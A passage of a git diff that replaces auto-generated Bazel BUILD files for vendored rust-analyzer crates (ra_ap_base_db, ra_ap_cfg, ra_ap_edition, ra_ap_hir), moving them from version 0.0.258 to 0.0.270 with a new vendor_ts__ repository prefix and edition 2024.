-        "@vendor__rustc_apfloat-0.2.1-llvm-462a31f5a5ab//:rustc_apfloat",
-        "@vendor__smallvec-1.13.2//:smallvec",
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.258.bazel
deleted file mode 100644
index 592b32e7a456..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.258.bazel
+++ /dev/null
@@ -1,106 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_base_db",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg": "cfg",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span": "span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax": "syntax",
-        "@vendor__ra_ap_vfs-0.0.258//:ra_ap_vfs": "vfs",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_base_db",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__la-arena-0.3.1//:la_arena",
-        "@vendor__lz4_flex-0.11.3//:lz4_flex",
-        "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_salsa-0.0.258//:ra_salsa",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax",
-        "@vendor__ra_ap_vfs-0.0.258//:ra_ap_vfs",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__semver-1.0.24//:semver",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__triomphe-0.1.14//:triomphe",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.270.bazel
new file mode 100644
index 000000000000..6e8ab6e20b3b
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.270.bazel
@@ -0,0 +1,111 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_base_db",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg": "cfg",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
+        "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro": "query_group",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax",
+        "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs": "vfs",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    proc_macro_deps = [
+        "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_base_db",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__dashmap-5.5.3//:dashmap",
+        "@vendor_ts__la-arena-0.3.1//:la_arena",
+        "@vendor_ts__lz4_flex-0.11.3//:lz4_flex",
+        "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax",
+        "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__salsa-0.19.0//:salsa",
+        "@vendor_ts__semver-1.0.24//:semver",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__triomphe-0.1.14//:triomphe",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.258.bazel
deleted file mode 100644
index 779a777c067a..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.258.bazel
+++ /dev/null
@@ -1,96 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_cfg",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt": "tt",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "tt",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_cfg",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.270.bazel
new file mode 100644
index 000000000000..c38cc3cdd884
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.270.bazel
@@ -0,0 +1,96 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_cfg",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "tt",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_cfg",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.258.bazel
deleted file mode 100644
index eed58b91a1f2..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.258.bazel
+++ /dev/null
@@ -1,83 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_edition",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_edition",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.270.bazel
new file mode 100644
index 000000000000..598826ee263e
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.270.bazel
@@ -0,0 +1,83 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_edition",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_edition",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.258.bazel
deleted file mode 100644
index 54a350d42d68..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.258.bazel
+++ /dev/null
@@ -1,114 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_hir",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db": "base_db",
-        "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg": "cfg",
-        "@vendor__ra_ap_hir_def-0.0.258//:ra_ap_hir_def": "hir_def",
-        "@vendor__ra_ap_hir_expand-0.0.258//:ra_ap_hir_expand": "hir_expand",
-        "@vendor__ra_ap_hir_ty-0.0.258//:ra_ap_hir_ty": "hir_ty",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span": "span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax": "syntax",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt": "tt",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_hir",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
